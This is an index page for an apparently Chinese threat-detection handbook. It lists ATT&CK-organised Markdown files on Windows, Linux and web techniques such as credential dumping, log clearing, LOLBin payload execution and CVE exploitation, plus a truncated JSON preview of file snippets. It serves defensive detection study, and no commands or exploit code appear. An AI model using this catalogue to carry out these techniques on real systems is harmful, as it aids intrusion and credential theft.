T1608.004-部署能力-部署路过式攻击资源.md │ │ └── T1608.005-部署能力-部署链接目标资源.md │ ├── 03初始访问/ │ │ ├── T1078.003-Win-多账户同时登陆.md │ │ ├── T1078.003-Win-来自公网的登陆失败行为.md │ │ ├── T1078.003-Win-账户登录失败.md │ │ ├── T1133-外部远程服务.md │ │ ├── T1190-SQL server滥用.md │ │ ├── T1190-可疑的SQL错误消息.md │ │ ├── T1190-邮箱暴力破解攻击流量分析.md │ │ └── T1566.001-Win-可疑的MS Office子进程.md │ ├── 04执行/ │ │ ├── T1047-win-使用Wmic执行payload(白名单).md │ │ ├── T1047-win-通过WMIC创建远程进程.md │ │ ├── T1053.002-Win-交互式at计划任务.md │ │ ├── T1053.002-Win-通过GPO计划任务进行大规模的持久性和执行.md │ │ ├── T1053.005-Win-schtasks本地计划任务.md │ │ ├── T1059-win-使用Certutil.exe执行Payload(白名单).md │ │ ├── T1059-win-使用Ftp.exe执行Payload(白名单).md │ │ ├── T1059-win-使用wusa卸载系统更新.md │ │ ├── T1059-win-进程生成CMD.md │ │ ├── T1059.001-Win-使用Powershell.exe执行Payload(白名单).md │ │ ├── T1059.001-Win-检测PowerShell2.0版本执行.md │ │ ├── T1059.001-Win-检测PowerShell下载文件.md │ │ ├── T1559.001-Win-利用进程间通信执行-组件对象模型-COM.md │ │ ├── T1559.002-Win-利用进程间通讯执行-动态数据交换-OLE.md │ │ └── T1559.002-win-利用进程间通信执行-动态数据交换-DDE.md │ ├── 05持久化/ │ │ ├── T1078.001-Win-DSRM重置密码.md │ │ ├── T1098-Win-AdminSDHolder.md │ │ ├── T1098-Win-万能密码.md │ │ ├── T1098-Win-账户操作.md │ │ ├── T1136.001-Win-创建本地账户.md │ │ ├── T1137.002-Win-office应用启动程序-office test.md │ │ ├── T1137.004-Win-office应用启动程序-outlook主页.md │ │ ├── T1176-浏览器扩展.md │ │ ├── T1197-Win-BITS Jobs权限维持.md │ │ ├── T1505.003-Regeorg-HTTP隧道检测.md │ │ ├── T1505.003-web服务关联可疑进程识别webshell行为.md │ │ ├── T1543.003-Win-windows服务Dnscmd.exe(白名单).md │ │ ├── T1546.001-Win-事件触发执行-更改默认文件关联.md │ │ ├── T1546.002-Win-事件触发执行-屏幕保护程序.md │ │ ├── T1546.007-Win-通过netsh key持久化.md │ │ ├── T1546.012-Win-事件触发执行-图片文件执行选项注入.md │ │ ├── T1546.015-Win-组件对象模型劫持-Dllhost.exe(白名单).md │ │ ├── T1547.005-Win-SSP权限维持.md │ │ └── T1548.002-Win-绕过用户账户控制-Eventvwr.exe(白名单).md │ ├── 06权限提升/ │ │ ├── T1037.001-Win-Boot或logon初始化脚本-登录脚本.md │ │ ├── T1068-win-权限提升-带有Headless参数的Windows ConHost.md │ │ ├── T1078.003-Win-帐户篡改-可疑的失败登录原因.md │ │ ├── T1134.001-Win-CVE-2020-1472.md │ │ ├── T1134.001-Win-访问令牌操作-Runas命令.md │ │ ├── T1134.005-Win-SID历史记录注入.md │ │ ├── T1548.002-Win-使用Nircmd.exe进行权限提升.md │ │ └── T1574.001-Win-劫持执行流程-DLL搜索顺序劫持.md │ ├── 07逃避防御/ │ │ ├── T1006-win-直接访问卷.md │ │ ├── T1014-win-Rootkit.md │ │ ├── T1027-win-使用pubprn.vbs下载文件(白名单) .md │ │ ├── T1027.003-Win-Ping Hex IP.md │ │ ├── T1027.004-Win-传输后编译csc.exe(白名单).md │ │ ├── T1027.004-Win-使用Csc.exe执行payload(白名单).md │ │ ├── T1027.005-Win-SDelete删除文件.md │ │ ├── T1036-win-隐藏用户账户带$符号.md │ │ ├── T1036.003-Win-重命名程序名称.md │ │ ├── T1036.004-Win-伪装服务或任务.md │ │ ├── T1070-001-win-使用wevtutil命令删除日志.md │ │ ├── T1070-001-win-清除事件日志.md │ │ ├── T1070-004-win-使用Fsutil删除卷USN日志.md │ │ ├── T1070-004-win-文件删除.md │ │ ├── T1070-004-win-通过Rmdir删除Windows文件.md │ │ ├── T1070-005-win-删除网络共享连接.md │ │ ├── T1070.001-Win-检测cipher.exe删除数据.md │ │ ├── T1127-Win-使用Msbuild.exe执行payload(白名单).md │ │ ├── T1127-win-受信任的开发者实用程序代理执行-Aspnet_compiler.exe(白名单).md │ │ ├── T1127-win-受信任的开发者实用程序代理执行-Jsc.exe(白名单).md │ │ ├── T1140-win-去混淆解码文件或信息.md │ │ ├── T1202-win-间接命令执行-基于Explorer.exe执行payload(白名单).md │ │ ├── T1202-win-间接命令执行-基于Forfiles执行payload(白名单).md │ │ ├── T1202-win-间接命令执行-基于Pcalua执行payload(白名单).md │ │ ├── T1216-win-签名脚本代理执行.md │ │ ├── T1216.001-Win-签名脚本代理执行-PubPrn.md │ │ ├── T1218-Win-使用Atbroker.exe执行payload(白名单).md │ │ ├── T1218.001-Win-使用Compiler.exe执行payload(白名单).md │ │ ├── T1218.001-Win-签名的二进制代理执行-编译HTML文件.md │ │ ├── T1218.002-Win-使用Control.exe执行payload(白名单).md │ │ ├── T1218.003-Win-使用Cmstp.exe执行Payload(白名单).md │ │ ├── T1218.004-Win-使用Installutil.exe执行payload(白名单).md │ │ ├── T1218.005-Win-使用Mshta.exe执行payload(白名单).md │ │ ├── T1218.007-Win-使用Msiexec.exe执行Payload(白名单).md │ │ ├── T1218.008-Win-使用Odbcconf.exe执行Payload(白名单).md │ │ ├── T1218.009-Win-使用Regasm.exe执行payload(白名单).md │ │ ├── T1218.011-Win-使用Rundll32.exe执行payload(白名单).md │ │ ├── T1218.011-Win-使用Zipfldr.dll执行Payload(白名单).md │ │ ├── T1218.011-Win-通过Rundll32的异常网络链接.md │ │ ├── T1220-win-XSL Script Processing.md │ │ ├── T1221-win-模板注入.md │ │ ├── T1222.001-Win-文件权限修改.md │ │ ├── T1548.002-Win-使用Dism删除Defender.md │ │ ├── T1550.003-Win-黄金票据.md │ │ ├── T1562-win-使用Bcdedit禁用DEP安全机制.md │ │ ├── T1562.001-Win-使用Net stop关闭Windefend.md │ │ ├── T1562.001-Win-使用Netsh关闭windows防火墙.md │ │ ├── T1562.001-Win-卸载安全工具使用的驱动程序-fltMC.exe(白名单).md │ │ ├── T1562.001-Win-绕过Sysmon.md │ │ ├── T1562.006-Win-停止日志采集.md │ │ ├── T1564.001-Win-发现攻击者在回收站中隐藏恶意软件.md │ │ ├── T1564.001-Win-隐藏的文件和目录.md │ │ └── T1564.003-Win-隐藏窗口.md │ ├── 08凭证访问/ │ │ ├── T1003-004-win-LSA-mimikatz凭证转储.md │ │ ├── T1003-win-Procdump凭证转储.md │ │ ├── T1003-win-vaultcmd获取系统凭证基本信息.md │ │ ├── T1003-win-使用Windows任务管理器转储Lsass.exe内存.md │ │ ├── T1003-win-使用comsvcs.dll转储Lsass.exe内存.md │ │ ├── T1003.002-Win-基于Sam-reg凭证转储.md │ │ ├── T1003.003-Win-ToDesk_向日葵密码读取.md │ │ ├── T1003.003-Win-vssown.vbs获取NTDS.dit.md │ │ ├── T1003.003-Win-使用Ntdsutil获得NTDS.dit文件.md │ │ ├── T1003.003-Win-基于NTDS进行凭证获取1.md │ │ ├── T1003.003-Win-基于NTDS进行凭证获取2.md │ │ ├── T1003.003-Win-基于应用日志检测Ntdsutil获取凭证.md │ │ ├── T1003.005-Win-DCC2-mimikatz凭证转储.md │ │ ├── T1003.006-Win-Dcsysnc-凭证转储.md │ │ ├── T1098-win-万能密码.md │ │ ├── T1098-win-账户操作.md │ │ ├── T1110-暴力破解.md │ │ ├── T1110.003-Win-密码喷射.md │ │ ├── T1212-win-ms14-068-KEKEO.md │ │ ├── T1212-win-ms14-068-PYKEK.md │ │ ├── T1552.001-Win-文件中的凭证.md │ │ ├── T1552.002-Win-注册表中的凭证.md │ │ ├── T1552.006-Win-GPP-凭证转储.md │ │ ├── T1555.003-Win-来自web浏览器的凭证.md │ │ ├── T1555.005-Win-cmdkey获取凭据(白名单).md │ │ ├── T1555.005-Win-命令行获取Finalshell软件保存的公钥.md │ │ ├── T1555.005-Win-常见凭据存放位置.md │ │ ├── T1558.003-Win-SPN-凭证转储.md │ │ └── T1558.003-Win-kerberosing.md │ ├── 09发现/ │ │ ├── T1007-win-系统服务发现.md │ │ ├── T1010-win-应用程序窗口发现.md │ │ ├── T1012-win-查询注册表.md │ │ ├── T1016-win-系统网络配置发现.md │ │ ├── T1018-win-远程系统发现.md │ │ ├── T1033-win-系统所有者及用户发现.md │ │ ├── T1040-win-使用netsh进行网络嗅探.md │ │ ├── T1049-win-bloodhound使用.md │ │ ├── T1049-win-系统网络连接发现.md │ │ ├── T1057-win-进程发现.md │ │ ├── T1069.001-Win-本地特权组用户枚举.md │ │ ├── T1082-win-系统信息发现.md │ │ ├── T1083-win-文件和目录发现.md │ │ ├── T1120-win-周边设备发现.md │ │ ├── T1124-win-系统时间发现.md │ │ ├── T1135-win-网络共享发现.md │ │ ├── T1201-win-密码策略发现.md │ │ ├── T1482-win-活动目录信息获取检测.md │ │ ├── T1518-win-发现安全软件.md │ │ └── T1614.002-Win-地理位置发现.md │ ├── 10横向移动/ │ │ ├── T1021.001-Win-使用Start_Rdp开启远程桌面服务.md │ │ ├── T1021.002-Win-基于PsExec执行payload(白名单).md │ │ ├── T1021.002-Win-管理员共享.md │ │ ├── T1021.006-Win-远程powershell会话.md │ │ ├── T1210-win-异常的SMB链接行为.md │ │ ├── T1210-win-检测到匿名计算机账户更改的使用.md │ │ ├── T1550.002-Win-哈希传递.md │ │ └── T1563.002-Win-远程服务会话劫持-RDP劫持.md │ ├── 11收集/ │ │ ├── T1056.001-Win-键盘记录.md │ │ ├── T1114.001-Win-本地电子邮件收集.md │ │ ├── T1119-win-Seatbelt自动收集信息.md │ │ ├── T1123-win-使用AudioDeviceCmdlets进行音频收集.md │ │ ├── T1123-win-使用soundrec进行音频收集.md │ │ └── T1560.001-Win-通过Winrar压缩收集数据.md │ ├── 12命令与控制/ │ │ ├── T1008-备用通信通道.md │ │ ├── T1071.001-应用层协议-网络协议.md │ │ ├── T1071.002-win-内网FTP链接到公网行为.md │ │ ├── T1071.004-win-内网主机向公网DNS发起可疑请求行为.md │ │ ├── T1090.001-Win-链接代理.md │ │ ├── T1092-通过可移动媒介传播.md │ │ ├── T1095-非应用层协议.md │ │ ├── T1105-Windows Update可滥用于执行恶意程序行为检测.md │ │ ├── T1105-win-入口工具转移-AppInstaller.exe(白名单、失效).md │ │ ├── T1105-win-入口工具转移-CertReq.exe(白名单).md │ │ ├── T1105-win-入口工具转移-Finger.exe(白名单).md │ │ ├── T1105-win-入口工具转移-IMEWDBLD.exe(白名单).md │ │ ├── T1105-win-入口工具转移-desktopimgdownldr.exe(白名单).md │ │ ├── T1105-win-入口工具转移-ieexec.exe (白名单).md │ │ ├── T1105-win-利用cmdl32进行文件下载行为(白名单).md │ │ ├── T1105-win-命令提示符网络链接.md │ │ ├── T1568.002-动态解析-域名生成算法(DGA).md │ │ ├── T1571-非标准端口.md │ │ └── T1573-标准加密协议.md │ ├── 13数据外泄/ │ │ ├── T1020-Win-自动渗出.md │ │ └── T1567-win-通过Web服务进行渗透-DataSvcUtil.exe(白名单).md │ └── 14影响/ │ ├── T1489-win-停止服务.md │ ├── T1490-win-禁止系统恢复.md │ ├── T1529-win-系统关机或重启.md │ └── T1531-win-账户访问权限删除.md └── link.md
Condensed preview — 346 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (2,833K chars).
[
{
"path": "Linux/04执行/T1059-004-linux-脚本.md",
"chars": 1566,
"preview": "# T1059-004-Linux-脚本\n## 来自ATT&CK的描述\n攻击者可能会滥用Unix shell命令和脚本来执行。Unix shell是Linux和macOS系统上的主要命令提示符,尽管Unix shell存在许多变体(例如sh"
},
{
"path": "Linux/04执行/T1059-006-linux-通过Python生成的交互shell.md",
"chars": 1125,
"preview": "# T1059-006-Linux-通过Python生成的交互shell\n## 来自ATT&CK的描述\n攻击者可能会滥用Python命令和脚本来执行。Python是一种非常流行的脚本编程语言,具有执行许多功能的能力。Python可以从命令行"
},
{
"path": "Linux/04执行/T1059-linux-通过Perl生成的交互式shell.md",
"chars": 3848,
"preview": "# T1059-Linux-通过Perl生成的交互式shell\n## 来自ATT&CK的描述\n攻击者可能滥用命令和脚本解释器来执行命令、脚本或二进制文件。这些接口和语言提供了与计算机系统交互的方式,并且是许多不同平台的共同特征。大多数系统都"
},
{
"path": "Linux/04执行/T1154-linux-trap.md",
"chars": 1215,
"preview": "# T1154-Linux-trap\n## 来自ATT&CK的描述\n该`trap`命令允许程序和shell指定在接收中断信号时将执行的命令。常见的情况是脚本允许正常终止和处理常见的键盘中断,如`ctrl+c`和`ctrl+d`。攻击者可以使"
},
{
"path": "Linux/05权限维持/T1098-004-linux-账户操纵-SSH Authorized Keys.md",
"chars": 1182,
"preview": "# T1098-004-Linux-账户操纵-SSH Authorized Keys\n## 来自ATT&CK的描述\n攻击者可能会修改SSH `authorized_keys`文件来维持对目标主机的持久访问。 Linux发行版和macOS通常"
},
{
"path": "Linux/05权限维持/T1136-001-linux-创建账户.md",
"chars": 1130,
"preview": "# T1136-001-Linux-创建用户\n## 来自ATT&CK的描述\n攻击者拥有足够的访问权限可以创建本地账户或者域账户。此类账户可以用于权限维持,持久性,不需要在系统上部署后门工具来实现权限维持。\n这些Net user命令可用于创建"
},
{
"path": "Linux/05权限维持/T1546-004-linux-.bash_profile and .bashrc.md",
"chars": 2962,
"preview": "# T1546-004-Linux-.bash_profile和.bashrc\n## 来自ATT&CK的描述\n`~/.bash_profile`和.bashrc是在新shell打开时或用户登录时在用户的上下文中执行,以便正确设置其环境。为登"
},
{
"path": "Linux/05权限维持/T1548-001-linux-Setuid and Setgid.md",
"chars": 3487,
"preview": "# T1548-001-Linux-Setuid and Setgid\n## 来自ATT&CK的描述\n攻击者可以使用setuid或setgid位执行shell转义或利用应用程序中的漏洞来获取在不同用户上下文中运行的代码。在Linux或mac"
},
{
"path": "Linux/06权限提升/T1548-003-linux-CVE-2019-14287.md",
"chars": 2393,
"preview": "# T1548-003-Linux-CVE-2019-14287\n## 来自ATT&CK的描述\nsudoers文件`/etc/sudoers`描述了哪些用户可以运行哪些命令以及从哪些终端运行。这还描述了用户可以作为其他用户或组运行的命令。这"
},
{
"path": "Linux/06权限提升/T1548-003-linux-Sudo.md",
"chars": 1168,
"preview": "# T1169-Linux-Sudo\n## 来自ATT&CK的描述\nsudoers文件`/etc/sudoers`描述了哪些用户可以运行哪些命令以及从哪些终端运行。这还描述了用户可以作为其他用户或组运行的命令。这提供了最小特权的概念,使得用"
},
{
"path": "Linux/07逃避防御/T1027-005-linux-主机上的监测组件删除.md",
"chars": 904,
"preview": "# T1027-005-Linux-主机上的监测组件删除\n## 来自ATT&CK的描述\n攻击者可能会删除或更改主机系统上生成的记录,包括日志和可能捕获的文件,例如隔离的恶意软件。日志的位置和格式会有所不同,但攻击者的操作行为都会被操作系统进"
},
{
"path": "Linux/07逃避防御/T1070-002-清除Linux或Mac系统日志.md",
"chars": 1232,
"preview": "# T1070-002-Linux-清除Linux或Mac系统日志\n## 来自ATT&CK的描述\n攻击者可能会清除系统日志以隐藏入侵证据。macOS和Linux都通过系统日志跟踪系统或用户启动的操作。大多数本机系统日志记录存储在/var/l"
},
{
"path": "Linux/07逃避防御/T1070-003-linux-清除历史记录.md",
"chars": 1461,
"preview": "# T1070-003-Linux-清除历史记录\n## 来自ATT&CK的描述\nmacOS和Linux都会跟踪用户在终端中输入的命令,以便用户可以轻松记住他们所做的事情。可以通过几种不同的方式访问这些日志。用户在登录后,将在环境变量指向的文"
},
{
"path": "Linux/07逃避防御/T1070-004-linux-文件删除.md",
"chars": 1253,
"preview": "# T1070-004-Linux-文件删除\n## 来自ATT&CK的描述\n攻击者在系统上删除或创建恶意软件、工具或其他非本机文件,可能会留下关于在主机上执行的操作以及操作方式的痕迹。作为入侵后清理过程的一部分,攻击者可能会在入侵过程中删除"
},
{
"path": "Linux/07逃避防御/T1070-006-Linux-Timestamp.md",
"chars": 3302,
"preview": "# T1070-006-Linux-Timestamp\n## 来自ATT&CK的描述\nTimestomping是一种修改文件时间(创建时间,修改时间)的技术,通常来将恶意文件和本文件夹其他的文件弄成相同的时间。\n## 测试案例\n具体参考下方"
},
{
"path": "Linux/07逃避防御/T1222-002-linux-文件权限修改.md",
"chars": 1450,
"preview": "# T1222-002-Linux-文件权限修改\n## 来自ATT&CK的描述\n文件权限通常有文件的所有者指定的自主访问控制列表(DACL)管理。文件DACL实现可能因不同系统而异,但通常明确指定那些用户/组可以执行那些操作(例如:读取、写"
},
{
"path": "Linux/07逃避防御/T1562-003-linux-Histcontrol.md",
"chars": 890,
"preview": "# T1562-003-Linux-Histcontrol\n## 来自ATT&CK的描述\n在HISTCONTROL环境变量决定了是否保存history命令,并最终进入~/.bash_history用户登录时出的文件。可以将此设置配置为忽略以"
},
{
"path": "Linux/07逃避防御/T1564-001-linux-隐藏文件和目录.md",
"chars": 1393,
"preview": "# T1564-001-Linux-隐藏文件和目录\n## 来自ATT&CK的描述\n为了防止普通用户误操作更改系统上的特殊文件,大多数操作系统都具有“隐藏”文件的概念。当用户使用GUI浏览文件系统或在命令行上使用普通命令时,这些文件不会显示。"
},
{
"path": "Linux/08凭证访问/T1110-003-Linux-SSH暴力破解.md",
"chars": 1868,
"preview": "# T1110-003-Linux-SSH暴力破解\n## 来自ATT&CK的描述\n当密码未知时,攻击者可以使用暴力破解尝试获取访问帐户密码。攻击者在操作期间尝试暴力破解登录,这是一个风险较高的选项,因为它可能导致大量身份验证失败记录以及帐户"
},
{
"path": "Linux/08凭证访问/T1552-001-linux-文件中的凭据.md",
"chars": 2372,
"preview": "# T1552-001-Linux-文件中的凭据\n## 来自ATT&CK的描述\n攻击者可能会在本地文件系统和远程文件共享中搜索包含不安全存储的凭据的文件。这些文件可以是用户创建的用于存储自己的凭据的文件,一组个人的共享凭据存储,包含系统或服"
},
{
"path": "Linux/08凭证访问/T1552-003-linux-Bash历史.md",
"chars": 2690,
"preview": "# T1552-003-Linux-Bash历史记录\n## 来自ATT&CK的描述\nBash使用“history”实用程序跟踪用户在命令行上键入的命令。用户注销后,会将历史记录刷新到用户的`.bash_history`文件中。对于每个用户,"
},
{
"path": "Linux/08凭证访问/T1552-004-linux-私钥.md",
"chars": 1629,
"preview": "# T1552-004-Linux-私钥\n## 来自ATT&CK的描述\n攻击者可以从被入侵的系统上收集私钥,用于对SSH等远程服务进行身份验证(暴力破解等),或者用于解密其他收集的文件,如电子邮件。通用密钥和证书文件扩展名包括:.key, "
},
{
"path": "Linux/09发现/T1040-linux-网络嗅探.md",
"chars": 2462,
"preview": "# T1040-Linux-网络嗅探\n## 来自ATT&CK的描述\n网络嗅探是指使用系统上的网络接口来监视或捕获通过有线或无线连接发送的信息。攻击者可以将网络接口置于混杂模式以通过网络被动地访问传输中的数据,或者使用跨接端口来捕获更大量的数"
},
{
"path": "Linux/09发现/T1046-linux-使用nping扫描探测.md",
"chars": 2475,
"preview": "# T1046-Linux-使用nping扫描探测\n## 来自ATT&CK的描述\n攻击者可能会尝试获取在远程主机和本地网络基础设施设备上运行的服务列表,包括那些可能容易受到远程软件利用的服务。获取此信息的常用方法包括使用系统自带的工具进行端"
},
{
"path": "Linux/09发现/T1082-linux-Hping存活主机发现.md",
"chars": 2141,
"preview": "# T1082-Linux-系统信息发现\n## 来自ATT&CK的描述\n攻击者可能试图获取有关操作系统和硬件的详细信息,包括版本,补丁,修补程序,服务包和目录结构。攻击者可以在发现过程中使用系统信息中发现的信息来决定后续的操作,包括攻击者是"
},
{
"path": "Linux/09发现/T1087-001-linux-本地账户发现.md",
"chars": 1549,
"preview": "# T1087-001-Linux-本地账户发现\n## 来自ATT&CK的描述\n攻击者可能会尝试获取本地系统帐户的列表。此信息可以帮助攻击者确定系统上存在哪些本地帐户,以帮助后续行为。\n在Linux上,可以通过使用/etc/passwd的文"
},
{
"path": "Linux/09发现/T1557-002-linux-ARP网络嗅探.md",
"chars": 3302,
"preview": "# T1557-002-Linux-ARP网络嗅探\n## 来自ATT&CK的描述\n攻击者可能会在地址解析协议(ARP)缓存中下毒,将自己置于两个或多个联网设备的通信之间。这种活动可能被用来实现后续的攻击行为,如网络嗅探或传输数据操纵。\nAR"
},
{
"path": "README.md",
"chars": 236,
"preview": "# Threat-Analysis-Handbook\n\n## 简介\n\nThreat-Analysis-Handbook目前已覆盖105个TID,332个技术点。主要涵盖Web、Windows AD、Linux,涉及ATT&CK技术、模拟测试"
},
{
"path": "Web/2020/T1190-CVE-2020-0618-SQLserver远程代码执行漏洞.md",
"chars": 30480,
"preview": "# T1190-CVE-2020-0618-SQL_server远程代码执行漏洞---------\n## 来自ATT&CK的描述---------\n使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法"
},
{
"path": "Web/2020/T1190-CVE-2020-0688-Exchange漏洞利用检测.md",
"chars": 5426,
"preview": "# T1190-CVE-2020-0688漏洞利用检测\n## 来自ATT&CK的描述\n使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序"
},
{
"path": "Web/2020/T1190-CVE-2020-13925-Apache Kylin远程操作系统命令注入漏洞.md",
"chars": 2384,
"preview": "# T1190-CVE-2020-13925-Apache Kylin 远程操作系统命令注入漏洞\n## 来自ATT&CK的描述\n使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱"
},
{
"path": "Web/2020/T1190-CVE-2020-14882-Weblogic Console HTTP 协议远程代码执行漏洞.md",
"chars": 1848,
"preview": "# T1190-CVE-2020-14882-Weblogic Console HTTP 协议远程代码执行漏洞\n## 来自ATT&CK的描述\n使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的"
},
{
"path": "Web/2020/T1190-CVE-2020-16875-Exchange漏洞利用监测.md",
"chars": 2520,
"preview": "# T1190-CVE-2020-16875-Exchange漏洞利用监测\n## 来自ATTCK描述\n使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏"
},
{
"path": "Web/2020/T1190-CVE-2020-17144-Exchange漏洞利用检测.md",
"chars": 2557,
"preview": "# T1190-CVE-2020-17144漏洞利用检测\n## 来自ATT&CK的描述\n使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程"
},
{
"path": "Web/2020/T1190-CVE-2020-1938-Apache Tomcat文件包含漏洞利用检测.md",
"chars": 2279,
"preview": "# T1190-CVE-2020-1938漏洞利用检测\n## 来自ATT&CK的描述\n使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序"
},
{
"path": "Web/2020/T1190-CVE-2020-1947-Apache ShardingSphere远程代码执行漏洞.md",
"chars": 9647,
"preview": "# T1190-CVE-2020-1947-Apache ShardingSphere远程代码执行漏洞\n## 来自ATT&CK的描述\n使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系"
},
{
"path": "Web/2020/T1190-CVE-2020-25540-Thinkadmin v6任意文件读取漏洞.md",
"chars": 3824,
"preview": "# T1190-CVE-2020-25540-Thinkadmin v6任意文件读取漏洞\n## 来自ATT&CK的描述\n使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是"
},
{
"path": "Web/2020/T1190-CVE-2020-25790-Typesetter CMS文件上传漏洞.md",
"chars": 13528,
"preview": "# T1190-CVE-2020-25790-Typesetter CMS文件上传漏洞\n## 来自ATT&CK的描述\n使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错"
},
{
"path": "Web/2020/T1190-CVE-2020-35754-QuickCms访问控制错误漏洞.md",
"chars": 4938,
"preview": "# T1190-CVE-2020-35754-QuickCms访问控制错误漏洞------------------\n## 来自ATT&CK的描述------------------\n使用软件,数据或命令来利用面向Internet的计算机系统"
},
{
"path": "Web/2020/T1190-CVE-2020-5902-F5_BIG-IP_远程代码执行漏洞.md",
"chars": 2575,
"preview": "# T1190-CVE-2020-5902-F5_BIG-IP-远程代码执行\n## 来自ATT&CK的描述\n使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或"
},
{
"path": "Web/2020/T1190-CVE-2020-8193-CVE-2020-8195.md",
"chars": 3367,
"preview": "# T1190-CVE-2020-8193/CVE-2020-8195\n## 来自ATT&CK的描述\n使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏"
},
{
"path": "Web/2021/T1190-CVE-2021-2109_Weblogic_LDAP_远程代码执行漏洞.md",
"chars": 4363,
"preview": "# T1190-CVE-2021-2109_Weblogic_LDAP_远程代码执行漏洞-----------------\n## 来自ATT&CK的描述-----------------\n使用软件,数据或命令来利用面向Internet的计算"
},
{
"path": "Web/2021/T1190-CVE-2021-21402-Jellyfin任意文件读取漏洞.md",
"chars": 8428,
"preview": "# T1190-CVE-2021-21402-Jellyfin任意文件读取漏洞\n## 来自ATT&CK的描述\n使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障"
},
{
"path": "Web/2021/T1190-CVE-2021-21972 Vmware vcenter未授权任意文件读取:RCE漏洞.md",
"chars": 4009,
"preview": "# T1190-CVE-2021-21972 Vmware vcenter未授权任意文件/RCE漏洞\n## 来自ATT&CK的描述\n使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统"
},
{
"path": "Web/2021/T1190-CVE-2021-41277-Metabase 敏感信息泄露漏洞.md",
"chars": 4662,
"preview": "# T1190-CVE-2021-41277-Metabase敏感信息泄露漏洞\n## 来自ATT&CK的描述\n使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障"
},
{
"path": "Web/2021/T1190-CVE-2021-41773-Apache HTTP Server 2.4.49 路径穿越漏洞.md",
"chars": 5629,
"preview": "# T1190-CVE-2021-41773-Apache HTTP Server 2.4.49路径穿越漏洞\n## 来自ATT&CK的描述\n使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行"
},
{
"path": "Web/2021/T1190-CVE-2021-42013-Apache HTTP Server 2.4.50 路径穿越漏洞.md",
"chars": 6054,
"preview": "# T1190-CVE-2021-42013-Apache HTTP Server 2.4.50路径穿越漏洞\n## 来自ATT&CK的描述\n使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行"
},
{
"path": "Web/2021/T1190-CVE-2021-43798-Grafana任意文件读取漏洞.md",
"chars": 6053,
"preview": "# T1190-CVE-2021-43798 Grafana 任意文件读取漏洞\n## 来自ATT&CK的描述\n使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障"
},
{
"path": "Web/2021/T1190-Exchange-ProxyLogon利用行为检测.md",
"chars": 6126,
"preview": "# T1190-Exchange-ProxyLogon利用行为检测---------------------------------------------------------------------------------------"
},
{
"path": "Web/2021/T1190-Exchange-ProxyShell利用行为检测.md",
"chars": 1618,
"preview": "# T1190-Exchange-ProxyShell利用行为检测\n## 来自ATT&CK的描述\n使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。"
},
{
"path": "Web/2022/T1190-CNVD-2022-03672-向日葵RCE漏洞.md",
"chars": 4449,
"preview": "# T1190-CNVD-2022-03672-向日葵RCE漏洞检测\n## 来自ATT&CK的描述\n使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞"
},
{
"path": "Web/2022/T1190-CVE-2022-1388-F5BIG-IP未授权RCE.md",
"chars": 3064,
"preview": "# T1190-CVE-2022-1388-F5BIG-IP未授权RCE\n## 来自ATT&CK的描述\n使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计"
},
{
"path": "Web/2022/T1190-CVE-2022-22947-Spring Cloud Gateway远程代码执行漏洞.md",
"chars": 1471,
"preview": "# T1190-CVE-2022-22947-Spring Cloud Gateway远程代码执行漏洞\n## 来自ATT&CK的描述\n使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系"
},
{
"path": "Web/2022/T1190-CVE-2022-22954-VMware Workspace ONE Access SSTI远程代码执行.md",
"chars": 3309,
"preview": "# T1190-CVE-2022-22954-VMware Workspace ONE Access SSTI远程代码执行\n## 来自ATT&CK的描述\n使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外"
},
{
"path": "Web/2022/T1190-CVE-2022-24124-Casdoor SQL注入漏洞.md",
"chars": 4050,
"preview": "# T1190-CVE-2022-24124-Casdoor SQL注入漏洞\n## 来自ATT&CK的描述\n使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或"
},
{
"path": "Web/2022/T1190-CVE-2022-26134-Confluence OGNL表达式注入命令执行漏洞.md",
"chars": 4419,
